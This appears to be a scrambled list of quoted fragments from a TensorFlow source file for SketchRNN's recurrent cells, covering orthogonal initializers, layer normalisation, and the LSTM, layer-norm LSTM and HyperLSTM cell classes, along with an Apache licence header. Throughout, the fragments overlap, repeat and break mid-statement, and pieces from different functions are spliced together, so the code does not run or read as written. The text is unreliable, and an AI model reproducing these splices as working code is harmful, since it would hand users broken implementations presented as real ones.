tf.get_variable_scope().reuse_variables() gamma = tf.get_variable( 'ln_gamma', [4 * num_units],", "tf.split(state, 2, 1) h = total_h[:, 0:self.num_units] return h def", "use LayerNorm layers in main LSTM & HyperLSTM cell. hyper_num_units:", "under the License is distributed on an \"AS IS\" BASIS,", "init_w='constant', weight_start=0.00, use_bias=True, bias_start=1.0, scope='zw') alpha = super_linear( zw, num_units,", "= tf.concat([x, h], 1) hyper_output, hyper_new_state = self.hyper_cell(hyper_input, self.hyper_state) self.hyper_output", "num_units, forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.90): \"\"\"Initialize the Layer Norm LSTM cell.", "hyper_input = tf.concat([x, h], 1) hyper_output, hyper_new_state = self.hyper_cell(hyper_input, self.hyper_state)", "+ beta return gamma * h def layer_norm(x, num_units, scope='layer_norm',", "dropout. Recommend turning this on only if hyper_num_units becomes large", "bias is to be broadcasted. # i = input_gate, j", "use_recurrent_dropout self.dropout_keep_prob = dropout_keep_prob @property def input_size(self): return self.num_units @property", "2, 1) return h def __call__(self, x, state, scope=None): with", "initializer=w_init) w_hh = tf.get_variable( 'W_hh', [self.num_units, 4 * self.num_units], initializer=h_init)", "self.hyper_output = hyper_output self.hyper_state = hyper_new_state xh = tf.matmul(x, w_xh)", "from __future__ import absolute_import from __future__ import division from __future__", "__call__(self, x, state, timestep=0, scope=None): with tf.variable_scope(scope or type(self).__name__): h,", "if self.use_recurrent_dropout: g = tf.nn.dropout(tf.tanh(j), self.dropout_keep_prob) else: g = tf.tanh(j)", "\"\"\"Orthogonal initializer.\"\"\" def _initializer(shape, dtype=tf.float32, partition_info=None): # pylint: disable=unused-argument return", "False) dropout_keep_prob: float, dropout keep probability (default 0.90) \"\"\" self.num_units", "# pylint: disable=unused-argument size_x = shape[0] size_h = shape[1] //", "concatenate the input and hidden states for hyperlstm input hyper_input", "dtype=tf.float32, partition_info=None): # pylint: disable=unused-argument return tf.constant(orthogonal(shape) * scale, dtype)", "axes, keep_dims=True) x_shifted = x - mean var = tf.reduce_mean(tf.square(x_shifted),", "state, timestep=0, scope=None): with tf.variable_scope(scope or type(self).__name__): h, c =", "= None # uniform h_init = lstm_ortho_initializer(1.0) w_xh = tf.get_variable(", "layer norm.\"\"\" axes = [1] mean = tf.reduce_mean(x, axes, keep_dims=True)", "jb f = fx + fh + fb o =", "[total_h[:, self.num_units:], total_c[:, self.num_units:]], 1) batch_size = x.get_shape().as_list()[0] x_size =", "+ epsilon) h_reshape = (h_reshape - mean) * rstd #", "init_w='ortho', weight_start=0.0, use_bias=True, bias_start=0.0, input_size=None): \"\"\"Performs linear operation. Uses ortho", "unused_total_c = tf.split(state, 2, 1) h = total_h[:, 0:self.num_units] return", "+ self.forget_bias) + tf.sigmoid(i) * g new_h = tf.tanh(layer_norm(new_c, h_size,", "1) return h def __call__(self, x, state, timestep=0, scope=None): with", "gamma * h def layer_norm(x, num_units, scope='layer_norm', reuse=False, gamma_start=1.0, epsilon=1e-3,", "= tf.reduce_mean(tf.square(x_shifted), axes, keep_dims=True) inv_std = tf.rsqrt(var + epsilon) with", "base at once (ie, i, g, j, o for lstm)", "dropout_keep_prob=0.9): self.num_units = num_units self.forget_bias = forget_bias self.use_recurrent_dropout = use_recurrent_dropout", "in to perform layer norm in parallel h_reshape = tf.reshape(h,", "initializer=tf.constant_initializer(0.0)) concat = tf.concat([x, h], 1) w_full = tf.concat([w_xh, w_hh],", "ANY KIND, either express or implied. # See the License", "+ oh + ob if self.use_layer_norm: concat = tf.concat([i, j,", "RNN definition.\"\"\" from __future__ import absolute_import from __future__ import division", "the License. # You may obtain a copy of the", "= tf.concat([x, h], 1) w_full = tf.concat([w_xh, w_hh], 0) hidden", "2 * self.num_units @property def output_size(self): return self.num_units def get_output(self,", "'bias', [4 * self.num_units], initializer=tf.constant_initializer(0.0)) # concatenate the input and", "from __future__ import print_function import numpy as np import tensorflow.compat.v1", "reuse=False, init_w='ortho', weight_start=0.0, use_bias=True, bias_start=0.0, input_size=None): \"\"\"Performs linear operation. Uses", "use_bias: output += beta return output def raw_layer_norm(x, epsilon=1e-3): axes", "# See the License for the specific language governing permissions", "h def hyper_norm(self, layer, scope='hyper', use_bias=True): num_units = self.num_units embedding_size", "use Recurrent Dropout (default False) dropout_keep_prob: float, dropout keep probability", "self.num_units = num_units self.forget_bias = forget_bias self.use_recurrent_dropout = use_recurrent_dropout self.dropout_keep_prob", "zw, num_units, init_w='constant', weight_start=init_gamma / embedding_size, use_bias=False, scope='alpha') result =", "self.hyper_norm(oh, 'hyper_oh', use_bias=True) # split bias ib, jb, fb, ob", "is to be broadcasted. # i = input_gate, j =", "f, o = tf.split(hidden, 4, 1) if self.use_recurrent_dropout: g =", "return tf.matmul(x, w) class LayerNormLSTMCell(contrib_rnn.RNNCell): \"\"\"Layer-Norm, with Ortho Init. and", "bias_start=0.0, input_size=None): \"\"\"Performs linear operation. Uses ortho init defined earlier.\"\"\"", "self.hyper_state) self.hyper_output = hyper_output self.hyper_state = hyper_new_state xh = tf.matmul(x,", "for speed. w_full = tf.concat([w_xh, w_hh], 0) concat = tf.matmul(concat,", "return tf.matmul(x, w) + b return tf.matmul(x, w) class LayerNormLSTMCell(contrib_rnn.RNNCell):", "use_bias=True) jh = self.hyper_norm(jh, 'hyper_jh', use_bias=True) fh = self.hyper_norm(fh, 'hyper_fh',", "class LayerNormLSTMCell(contrib_rnn.RNNCell): \"\"\"Layer-Norm, with Ortho Init. and Recurrent Dropout without", "concat = tf.concat([x, h], 1) # concat for speed. w_full", "self.num_units], initializer=h_init) concat = tf.concat([x, h], 1) # concat for", "in the LSTM cell. forget_bias: float, The bias added to", "Norm https://arxiv.org/abs/1603.05118 - Recurrent Dropout without Memory Loss \"\"\" def", "Licensed under the Apache License, Version 2.0 (the \"License\"); #", "1.0, flat_shape) u, _, v = np.linalg.svd(a, full_matrices=False) q =", "keep_dims=True) x_shifted = x - mean var = tf.reduce_mean(tf.square(x_shifted), axes,", "scale t[:, size_h * 3:] = orthogonal([size_x, size_h]) * scale", "hyper_use_recurrent_dropout: boolean. (default False) Controls whether HyperLSTM cell also uses", "o = output_gate concat = layer_norm_all(concat, batch_size, 4, h_size, 'ln_all')", "x.get_shape().as_list()[0] w_init = None # uniform h_init = lstm_ortho_initializer(1.0) w_xh", "input_size(self): return self._input_size @property def output_size(self): return self.num_units @property def", "writing, software # distributed under the License is distributed on", "is None: x_size = shape[1] else: x_size = input_size if", "= x.get_shape().as_list()[0] x_size = x.get_shape().as_list()[1] self._input_size = x_size w_init =", "boolean. (default True) Controls whether we use LayerNorm layers in", "2, 1) h = total_h[:, 0:self.num_units] return h def hyper_norm(self,", "tf.variable_scope(scope or type(self).__name__): c, h = tf.split(state, 2, 1) x_size", "= tf.tanh(layer_norm(new_c, self.num_units, 'ln_c')) * tf.sigmoid(o) hyper_h, hyper_c = tf.split(hyper_new_state,", "(>= 512) \"\"\" self.num_units = num_units self.forget_bias = forget_bias self.use_recurrent_dropout", "* scale t[:, size_h * 2:size_h * 3] = orthogonal([size_x,", "broadcasted. # i = input_gate, j = new_input, f =", "lstm_ortho_initializer(1.0) # Keep W_xh and W_hh separate here as well", "'W_xh', [x_size, 4 * self.num_units], initializer=w_init) w_hh = tf.get_variable( 'W_hh',", "c * tf.sigmoid(f + self.forget_bias) + tf.sigmoid(i) * g new_h", "var = tf.reduce_mean(tf.square(h_reshape - mean), [2], keep_dims=True) epsilon = tf.constant(epsilon)", "scope='zb') beta = super_linear( zb, num_units, init_w='constant', weight_start=0.00, use_bias=False, scope='beta')", "* inv_std if use_bias: output += beta return output def", "dropout_keep_prob=dropout_keep_prob) @property def input_size(self): return self._input_size @property def output_size(self): return", "= None # uniform h_init = lstm_ortho_initializer(1.0) # Keep W_xh", "beta = tf.get_variable( 'ln_beta', [4 * num_units], initializer=tf.constant_initializer(0.0)) if use_bias:", "'gaussian': w_init = tf.random_normal_initializer(stddev=weight_start) elif init_w == 'ortho': w_init =", "initializer=tf.constant_initializer(gamma_start)) if use_bias: beta = tf.get_variable( 'ln_beta', [num_units], initializer=tf.constant_initializer(0.0)) output", "Reshapes h in to perform layer norm in parallel h_reshape", "x_size = x.get_shape().as_list()[1] self._input_size = x_size w_init = None #", "'W_hh', [self.num_units, 4 * self.num_units], initializer=h_init) concat = tf.concat([x, h],", "\"\"\" self.num_units = num_units self.forget_bias = forget_bias self.use_recurrent_dropout = use_recurrent_dropout", "= output_gate i = ix + ih + ib j", "- Recurrent Dropout without Memory Loss \"\"\" def __init__(self, num_units,", "tf.sigmoid(i) * g new_h = tf.tanh(layer_norm(new_c, h_size, 'ln_c')) * tf.sigmoid(o)", "g new_h = tf.tanh(layer_norm(new_c, h_size, 'ln_c')) * tf.sigmoid(o) return new_h,", "keep_dims=True) var = tf.reduce_mean(tf.square(h_reshape - mean), [2], keep_dims=True) epsilon =", "is 16, recommend trying larger values for large datasets) hyper_use_recurrent_dropout:", "None # uniform if input_size is None: x_size = shape[1]", "False) Controls whether HyperLSTM cell also uses recurrent dropout. Recommend", "* self.num_units @property def output_size(self): return self.num_units def get_output(self, state):", "np import tensorflow.compat.v1 as tf from tensorflow.contrib import rnn as", "= self.hyper_cell(hyper_input, self.hyper_state) self.hyper_output = hyper_output self.hyper_state = hyper_new_state xh", "total_h[:, 0:self.num_units] c = total_c[:, 0:self.num_units] self.hyper_state = tf.concat( [total_h[:,", "self.hyper_cell(hyper_input, self.hyper_state) self.hyper_output = hyper_output self.hyper_state = hyper_new_state xh =", "= tf.matmul(h, w_hh) # split Wxh contributions ix, jx, fx,", "new_h = tf.tanh(new_c) * tf.sigmoid(o) return new_h, tf.concat([new_c, new_h], 1)", "input_gate, j = new_input, f = forget_gate, o = output_gate", "inv_std if use_bias: output += beta return output def raw_layer_norm(x,", "and # limitations under the License. \"\"\"SketchRNN RNN definition.\"\"\" from", "layers in main LSTM & HyperLSTM cell. hyper_num_units: int, number", "oh = self.hyper_norm(oh, 'hyper_oh', use_bias=True) # split bias ib, jb,", "o], 1) concat = layer_norm_all(concat, batch_size, 4, self.num_units, 'ln_all') i,", "tf.tanh(layer_norm(new_c, h_size, 'ln_c')) * tf.sigmoid(o) return new_h, tf.concat([new_h, new_c], 1)", "if self.use_layer_norm: cell_fn = LayerNormLSTMCell else: cell_fn = LSTMCell self.hyper_cell", "+ self.forget_bias) + tf.sigmoid(i) * g new_h = tf.tanh(layer_norm(new_c, self.num_units,", "use_bias=True): \"\"\"Layer Norm (faster version, but not using defun).\"\"\" #", "= x_size w_init = None # uniform h_init = lstm_ortho_initializer(1.0)", "use_bias: zb = super_linear( self.hyper_output, embedding_size, init_w='gaussian', weight_start=0.01, use_bias=False, bias_start=0.0,", "num_units: int, The number of units in the LSTM cell.", "governing permissions and # limitations under the License. \"\"\"SketchRNN RNN", "unused_c, h = tf.split(state, 2, 1) return h def __call__(self,", "+ tf.sigmoid(i) * g new_h = tf.tanh(layer_norm(new_c, self.num_units, 'ln_c')) *", "= tf.multiply(alpha, layer) if use_bias: zb = super_linear( self.hyper_output, embedding_size,", "size_h]) * scale t[:, size_h * 3:] = orthogonal([size_x, size_h])", "with tf.variable_scope(scope): zw = super_linear( self.hyper_output, embedding_size, init_w='constant', weight_start=0.00, use_bias=True,", "cell. hyper_num_units: int, number of units in HyperLSTM cell. (default", "q.reshape(shape) def orthogonal_initializer(scale=1.0): \"\"\"Orthogonal initializer.\"\"\" def _initializer(shape, dtype=tf.float32, partition_info=None): #", "output_gate concat = layer_norm_all(concat, batch_size, 4, h_size, 'ln_all') i, j,", "bias i, j, f, o = tf.split(hidden, 4, 1) if", "if init_w == 'zeros': w_init = tf.constant_initializer(0.0) elif init_w ==", "ob if self.use_layer_norm: concat = tf.concat([i, j, f, o], 1)", "hyper_num_units becomes large (>= 512) \"\"\" self.num_units = num_units self.forget_bias", "0:self.num_units] return h def hyper_norm(self, layer, scope='hyper', use_bias=True): num_units =", "batch_size, base, num_units, scope='layer_norm', reuse=False, gamma_start=1.0, epsilon=1e-3, use_bias=True): \"\"\"Layer Norm", "tf.get_variable( 'super_linear_w', [x_size, output_size], tf.float32, initializer=w_init) if use_bias: b =", "result = tf.multiply(alpha, layer) if use_bias: zb = super_linear( self.hyper_output,", "tf.concat([x, h], 1) w_full = tf.concat([w_xh, w_hh], 0) hidden =", "= self.hyper_norm(ox, 'hyper_ox', use_bias=False) # split Whh contributions ih, jh,", "= lstm_ortho_initializer(1.0) w = tf.get_variable( 'super_linear_w', [x_size, output_size], tf.float32, initializer=w_init)", "_initializer class LSTMCell(contrib_rnn.RNNCell): \"\"\"Vanilla LSTM cell. Uses ortho initializer, and", "in main LSTM & HyperLSTM cell. hyper_num_units: int, number of", "Loss. https://arxiv.org/abs/1607.06450 - Layer Norm https://arxiv.org/abs/1603.05118 - Recurrent Dropout without", "\"\"\"LSTM orthogonal initializer.\"\"\" def _initializer(shape, dtype=tf.float32, partition_info=None): # pylint: disable=unused-argument", "state_size(self): return 2 * self.total_num_units def get_output(self, state): total_h, unused_total_c", "disable=unused-argument return tf.constant(orthogonal(shape) * scale, dtype) return _initializer def lstm_ortho_initializer(scale=1.0):", "WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or", "* (x_shifted) * inv_std if use_bias: output += beta return", "use_layer_norm: boolean. (default True) Controls whether we use LayerNorm layers", "# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", "x, state, scope=None): with tf.variable_scope(scope or type(self).__name__): c, h =", "epsilon) with tf.variable_scope(scope): if reuse: tf.get_variable_scope().reuse_variables() gamma = tf.get_variable( 'ln_gamma',", "return self._input_size @property def output_size(self): return self.num_units @property def state_size(self):", "tf.get_variable( 'ln_gamma', [4 * num_units], initializer=tf.constant_initializer(gamma_start)) if use_bias: beta =", "weight_start=0.0, use_bias=True, bias_start=0.0, input_size=None): \"\"\"Performs linear operation. Uses ortho init", "# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express", "def __init__(self, num_units, forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.90, use_layer_norm=True, hyper_num_units=256, hyper_embedding_size=32, hyper_use_recurrent_dropout=False):", "use_bias=True): \"\"\"Calculate layer norm.\"\"\" axes = [1] mean = tf.reduce_mean(x,", "tf.reshape(h, [batch_size, base, num_units]) mean = tf.reduce_mean(h_reshape, [2], keep_dims=True) var", "self.num_units, 'ln_all') i, j, f, o = tf.split(concat, 4, 1)", "tf.split(concat, 4, 1) if self.use_recurrent_dropout: g = tf.nn.dropout(tf.tanh(j), self.dropout_keep_prob) else:", "# pylint: disable=unused-argument return tf.constant(orthogonal(shape) * scale, dtype) return _initializer", "scope=None, reuse=False, init_w='ortho', weight_start=0.0, use_bias=True, bias_start=0.0, input_size=None): \"\"\"Performs linear operation.", "* scale return tf.constant(t, dtype) return _initializer class LSTMCell(contrib_rnn.RNNCell): \"\"\"Vanilla", "epsilon) h_reshape = (h_reshape - mean) * rstd # reshape", "num_units]) with tf.variable_scope(scope): if reuse: tf.get_variable_scope().reuse_variables() gamma = tf.get_variable( 'ln_gamma',", "memory loss (https://arxiv.org/abs/1603.05118) \"\"\" def __init__(self, num_units, forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.9):", "to forget gates (default 1.0). use_recurrent_dropout: Whether to use Recurrent", "well to use different init methods. w_xh = tf.get_variable( 'W_xh',", "tf.rsqrt(var + epsilon) with tf.variable_scope(scope): if reuse: tf.get_variable_scope().reuse_variables() gamma =", "or type(self).__name__): total_h, total_c = tf.split(state, 2, 1) h =", "= x - mean var = tf.reduce_mean(tf.square(x_shifted), axes, keep_dims=True) inv_std", "http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "output += beta return output def raw_layer_norm(x, epsilon=1e-3): axes =", "flat_shape) u, _, v = np.linalg.svd(a, full_matrices=False) q = u", "self.hyper_output, embedding_size, init_w='gaussian', weight_start=0.01, use_bias=False, bias_start=0.0, scope='zb') beta = super_linear(", "1) w_full = tf.concat([w_xh, w_hh], 0) hidden = tf.matmul(concat, w_full)", "beta = tf.get_variable( 'ln_beta', [num_units], initializer=tf.constant_initializer(0.0)) output = gamma *", "tf.split(xh, 4, 1) ix = self.hyper_norm(ix, 'hyper_ix', use_bias=False) jx =", "embedding_size = self.hyper_embedding_size # recurrent batch norm init trick (https://arxiv.org/abs/1603.09025).", "def get_output(self, state): h, unused_c = tf.split(state, 2, 1) return", "h_size = self.num_units x_size = x.get_shape().as_list()[1] batch_size = x.get_shape().as_list()[0] w_init", "output = gamma * (x_shifted) * inv_std if use_bias: output", "specific language governing permissions and # limitations under the License.", "from tensorflow.contrib import rnn as contrib_rnn def orthogonal(shape): \"\"\"Orthogonal initilaizer.\"\"\"", "perform layer norm in parallel h_reshape = tf.reshape(h, [batch_size, base,", "[4 * num_units], initializer=tf.constant_initializer(0.0)) if use_bias: return gamma * h", "lstm_ortho_initializer(scale=1.0): \"\"\"LSTM orthogonal initializer.\"\"\" def _initializer(shape, dtype=tf.float32, partition_info=None): # pylint:", "tf.tanh(j) new_c = c * tf.sigmoid(f + self.forget_bias) + tf.sigmoid(i)", "added to forget gates (default 1.0). use_recurrent_dropout: Whether to use", "# you may not use this file except in compliance", "[1] mean = tf.reduce_mean(x, axes, keep_dims=True) std = tf.sqrt( tf.reduce_mean(tf.square(x", "= tf.get_variable( 'W_hh', [self.num_units, 4 * self.num_units], initializer=h_init) bias =", "size of signals emitted from HyperLSTM cell. (default is 16,", "return new_h, tf.concat([new_h, new_c], 1) class HyperLSTMCell(contrib_rnn.RNNCell): \"\"\"HyperLSTM with Ortho", "tf.sigmoid(o) return new_h, tf.concat([new_h, new_c], 1) class HyperLSTMCell(contrib_rnn.RNNCell): \"\"\"HyperLSTM with", "use_recurrent_dropout=False, dropout_keep_prob=0.9): self.num_units = num_units self.forget_bias = forget_bias self.use_recurrent_dropout =", "mean = tf.reduce_mean(x, axes, keep_dims=True) std = tf.sqrt( tf.reduce_mean(tf.square(x -", "from HyperLSTM cell. (default is 16, recommend trying larger values", "return h def hyper_norm(self, layer, scope='hyper', use_bias=True): num_units = self.num_units", "tf.sigmoid(i) * g new_h = tf.tanh(layer_norm(new_c, self.num_units, 'ln_c')) * tf.sigmoid(o)", "obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0", "+ epsilon) with tf.variable_scope(scope): if reuse: tf.get_variable_scope().reuse_variables() gamma = tf.get_variable(", "'zeros': w_init = tf.constant_initializer(0.0) elif init_w == 'constant': w_init =", "split bias ib, jb, fb, ob = tf.split(bias, 4, 0)", "= dropout_keep_prob self.use_layer_norm = use_layer_norm self.hyper_num_units = hyper_num_units self.hyper_embedding_size =", "under the Apache License, Version 2.0 (the \"License\"); # you", "h, unused_c = tf.split(state, 2, 1) return h def __call__(self,", "self.use_recurrent_dropout = use_recurrent_dropout self.dropout_keep_prob = dropout_keep_prob @property def state_size(self): return", "reshape back to original h = tf.reshape(h_reshape, [batch_size, base *", "'hyper_fh', use_bias=True) oh = self.hyper_norm(oh, 'hyper_oh', use_bias=True) # split bias", "+ ob if self.use_layer_norm: concat = tf.concat([i, j, f, o],", "o = tf.split(concat, 4, 1) if self.use_recurrent_dropout: g = tf.nn.dropout(tf.tanh(j),", "num_units, forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.9): self.num_units = num_units self.forget_bias = forget_bias", "mean = tf.reduce_mean(h_reshape, [2], keep_dims=True) var = tf.reduce_mean(tf.square(h_reshape - mean),", "tf.get_variable_scope().reuse_variables() w_init = None # uniform if input_size is None:", "'super_linear_w', [x_size, output_size], tf.float32, initializer=w_init) if use_bias: b = tf.get_variable(", "zw = super_linear( self.hyper_output, embedding_size, init_w='constant', weight_start=0.00, use_bias=True, bias_start=1.0, scope='zw')", "init_w == 'zeros': w_init = tf.constant_initializer(0.0) elif init_w == 'constant':", "speed. w_full = tf.concat([w_xh, w_hh], 0) concat = tf.matmul(concat, w_full)", "no Memory Loss. https://arxiv.org/abs/1609.09106 http://blog.otoro.net/2016/09/28/hyper-networks/ \"\"\" def __init__(self, num_units, forget_bias=1.0,", "hyper_num_units self.hyper_embedding_size = hyper_embedding_size self.hyper_use_recurrent_dropout = hyper_use_recurrent_dropout self.total_num_units = self.num_units", "else: g = tf.tanh(j) new_c = c * tf.sigmoid(f +", "ih, jh, fh, oh = tf.split(hh, 4, 1) ih =", "orthogonal([size_x, size_h]) * scale return tf.constant(t, dtype) return _initializer class", "h def __call__(self, x, state, timestep=0, scope=None): with tf.variable_scope(scope or", "type(self).__name__): total_h, total_c = tf.split(state, 2, 1) h = total_h[:,", "initializer=h_init) concat = tf.concat([x, h], 1) # concat for speed.", "w_hh) # split Wxh contributions ix, jx, fx, ox =", "the input and hidden states for hyperlstm input hyper_input =", "use different init methods. w_xh = tf.get_variable( 'W_xh', [x_size, 4", "'hyper_jh', use_bias=True) fh = self.hyper_norm(fh, 'hyper_fh', use_bias=True) oh = self.hyper_norm(oh,", "an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF", "tf.get_variable( 'ln_beta', [4 * num_units], initializer=tf.constant_initializer(0.0)) if use_bias: return gamma", "= np.random.normal(0.0, 1.0, flat_shape) u, _, v = np.linalg.svd(a, full_matrices=False)", "= orthogonal([size_x, size_h]) * scale t[:, size_h * 3:] =", "\"\"\"Initialize the Layer Norm LSTM cell. Args: num_units: int, The", "return self.num_units @property def state_size(self): return 2 * self.total_num_units def", "shape[1] else: x_size = input_size if init_w == 'zeros': w_init", "layer_norm_all(concat, batch_size, 4, h_size, 'ln_all') i, j, f, o =", "= self.hyper_norm(jh, 'hyper_jh', use_bias=True) fh = self.hyper_norm(fh, 'hyper_fh', use_bias=True) oh", "Layer Norm HyperLSTM cell. Args: num_units: int, The number of", "Norm, Recurrent Dropout, no Memory Loss. https://arxiv.org/abs/1609.09106 http://blog.otoro.net/2016/09/28/hyper-networks/ \"\"\" def", "= tf.matmul(concat, w_full) #+ bias # live life without garbage.", "tf.reduce_mean(tf.square(x_shifted), axes, keep_dims=True) inv_std = tf.rsqrt(var + epsilon) with tf.variable_scope(scope):", "flat_shape else v return q.reshape(shape) def orthogonal_initializer(scale=1.0): \"\"\"Orthogonal initializer.\"\"\" def", "* tf.sigmoid(o) return new_h, tf.concat([new_c, new_h], 1) # fuk tuples.", "j, f, o = tf.split(hidden, 4, 1) if self.use_recurrent_dropout: g", "epsilon) output = (x - mean) / (std) return output", "if reuse: tf.get_variable_scope().reuse_variables() gamma = tf.get_variable( 'ln_gamma', [num_units], initializer=tf.constant_initializer(gamma_start)) if", "pylint: disable=unused-argument return tf.constant(orthogonal(shape) * scale, dtype) return _initializer def", "[2], keep_dims=True) epsilon = tf.constant(epsilon) rstd = tf.rsqrt(var + epsilon)", "= tf.rsqrt(var + epsilon) with tf.variable_scope(scope): if reuse: tf.get_variable_scope().reuse_variables() gamma", "= tf.get_variable( 'super_linear_w', [x_size, output_size], tf.float32, initializer=w_init) if use_bias: b", "1) x_size = x.get_shape().as_list()[1] w_init = None # uniform h_init", "if use_bias: beta = tf.get_variable( 'ln_beta', [4 * num_units], initializer=tf.constant_initializer(0.0))", "axes, keep_dims=True) inv_std = tf.rsqrt(var + epsilon) with tf.variable_scope(scope): if", "total_h, unused_total_c = tf.split(state, 2, 1) h = total_h[:, 0:self.num_units]", "'ln_beta', [4 * num_units], initializer=tf.constant_initializer(0.0)) if use_bias: return gamma *", "tuples. def layer_norm_all(h, batch_size, base, num_units, scope='layer_norm', reuse=False, gamma_start=1.0, epsilon=1e-3,", "elif init_w == 'constant': w_init = tf.constant_initializer(weight_start) elif init_w ==", "(default False) dropout_keep_prob: float, dropout keep probability (default 0.90) use_layer_norm:", "* 2:size_h * 3] = orthogonal([size_x, size_h]) * scale t[:,", "_initializer(shape, dtype=tf.float32, partition_info=None): # pylint: disable=unused-argument size_x = shape[0] size_h", "copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #", "this on only if hyper_num_units becomes large (>= 512) \"\"\"", "Ortho Init, Layer Norm, Recurrent Dropout, no Memory Loss. https://arxiv.org/abs/1609.09106", "w_hh], 0) hidden = tf.matmul(concat, w_full) + bias i, j,", "\"\"\"Vanilla LSTM cell. Uses ortho initializer, and also recurrent dropout", "ix = self.hyper_norm(ix, 'hyper_ix', use_bias=False) jx = self.hyper_norm(jx, 'hyper_jx', use_bias=False)", "Whh contributions ih, jh, fh, oh = tf.split(hh, 4, 1)", "orthogonal_initializer(scale=1.0): \"\"\"Orthogonal initializer.\"\"\" def _initializer(shape, dtype=tf.float32, partition_info=None): # pylint: disable=unused-argument", "* self.num_units], initializer=tf.constant_initializer(0.0)) # concatenate the input and hidden states", "1) new_total_c = tf.concat([new_c, hyper_c], 1) new_total_state = tf.concat([new_total_h, new_total_c],", "tf.split(hyper_new_state, 2, 1) new_total_h = tf.concat([new_h, hyper_h], 1) new_total_c =", "tf.matmul(h, w_hh) # split Wxh contributions ix, jx, fx, ox", "Apache License, Version 2.0 (the \"License\"); # you may not", "_, v = np.linalg.svd(a, full_matrices=False) q = u if u.shape", "rstd # reshape back to original h = tf.reshape(h_reshape, [batch_size,", "either express or implied. # See the License for the", "Dropout (default False) dropout_keep_prob: float, dropout keep probability (default 0.90)", "= input_size if init_w == 'zeros': w_init = tf.constant_initializer(0.0) elif", "size_h]) * scale t[:, size_h * 2:size_h * 3] =", "w_full) #+ bias # live life without garbage. # i", "layer) if use_bias: zb = super_linear( self.hyper_output, embedding_size, init_w='gaussian', weight_start=0.01,", "version, but not using defun).\"\"\" # Performs layer norm on", "hyper_new_state = self.hyper_cell(hyper_input, self.hyper_state) self.hyper_output = hyper_output self.hyper_state = hyper_new_state", "number of units in HyperLSTM cell. (default is 128, recommend", "= LSTMCell self.hyper_cell = cell_fn( hyper_num_units, use_recurrent_dropout=hyper_use_recurrent_dropout, dropout_keep_prob=dropout_keep_prob) @property def", "2, 1) new_total_h = tf.concat([new_h, hyper_h], 1) new_total_c = tf.concat([new_c,", "tf.concat([new_c, hyper_c], 1) new_total_state = tf.concat([new_total_h, new_total_c], 1) return new_h,", "# bias is to be broadcasted. # i = input_gate,", "size_h = shape[1] // 4 # assumes lstm. t =", "self.forget_bias) + tf.sigmoid(i) * g new_h = tf.tanh(layer_norm(new_c, self.num_units, 'ln_c'))", "with tf.variable_scope(scope or 'linear'): if reuse: tf.get_variable_scope().reuse_variables() w_init = None", "super_linear( self.hyper_output, embedding_size, init_w='constant', weight_start=0.00, use_bias=True, bias_start=1.0, scope='zw') alpha =", "tf.constant(t, dtype) return _initializer class LSTMCell(contrib_rnn.RNNCell): \"\"\"Vanilla LSTM cell. Uses", "= tf.split(xh, 4, 1) ix = self.hyper_norm(ix, 'hyper_ix', use_bias=False) jx", "fx + fh + fb o = ox + oh", "- mean) * rstd # reshape back to original h", "(default 0.90) \"\"\" self.num_units = num_units self.forget_bias = forget_bias self.use_recurrent_dropout", "disable=unused-argument size_x = shape[0] size_h = shape[1] // 4 #", "oh + ob if self.use_layer_norm: concat = tf.concat([i, j, f,", "the License. \"\"\"SketchRNN RNN definition.\"\"\" from __future__ import absolute_import from", "distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR", "init_w == 'ortho': w_init = lstm_ortho_initializer(1.0) w = tf.get_variable( 'super_linear_w',", "base, num_units, scope='layer_norm', reuse=False, gamma_start=1.0, epsilon=1e-3, use_bias=True): \"\"\"Layer Norm (faster", "x_size = x.get_shape().as_list()[1] batch_size = x.get_shape().as_list()[0] w_init = None #", "= shape[1] else: x_size = input_size if init_w == 'zeros':", "x_size = shape[1] else: x_size = input_size if init_w ==", "w_init = None # uniform if input_size is None: x_size", "tf.constant_initializer(0.0) elif init_w == 'constant': w_init = tf.constant_initializer(weight_start) elif init_w", "tf.split(bias, 4, 0) # bias is to be broadcasted. #", "'constant': w_init = tf.constant_initializer(weight_start) elif init_w == 'gaussian': w_init =", "= dropout_keep_prob @property def input_size(self): return self.num_units @property def output_size(self):", "initializer=tf.constant_initializer(0.0)) if use_bias: return gamma * h + beta return", "__init__(self, num_units, forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.9): self.num_units = num_units self.forget_bias =", "operation. Uses ortho init defined earlier.\"\"\" shape = x.get_shape().as_list() with", "whether we use LayerNorm layers in main LSTM & HyperLSTM", "g = tf.nn.dropout(tf.tanh(j), self.dropout_keep_prob) else: g = tf.tanh(j) new_c =", "(https://arxiv.org/abs/1603.09025). init_gamma = 0.10 # cooijmans' da man. with tf.variable_scope(scope):", "0.90) use_layer_norm: boolean. (default True) Controls whether we use LayerNorm", "j = jx + jh + jb f = fx", "[2], keep_dims=True) var = tf.reduce_mean(tf.square(h_reshape - mean), [2], keep_dims=True) epsilon", "original h = tf.reshape(h_reshape, [batch_size, base * num_units]) with tf.variable_scope(scope):", "0.90) \"\"\" self.num_units = num_units self.forget_bias = forget_bias self.use_recurrent_dropout =", "keep_dims=True) + epsilon) output = (x - mean) / (std)", "2 * self.total_num_units def get_output(self, state): total_h, unused_total_c = tf.split(state,", "methods. w_xh = tf.get_variable( 'W_xh', [x_size, 4 * self.num_units], initializer=w_init)", "= super_linear( self.hyper_output, embedding_size, init_w='gaussian', weight_start=0.01, use_bias=False, bias_start=0.0, scope='zb') beta", "if self.use_layer_norm: concat = tf.concat([i, j, f, o], 1) concat", "[self.num_units, 4 * self.num_units], initializer=h_init) bias = tf.get_variable( 'bias', [4", "scope='zw') alpha = super_linear( zw, num_units, init_w='constant', weight_start=init_gamma / embedding_size,", "hyper_embedding_size=32, hyper_use_recurrent_dropout=False): \"\"\"Initialize the Layer Norm HyperLSTM cell. Args: num_units:", "- mean var = 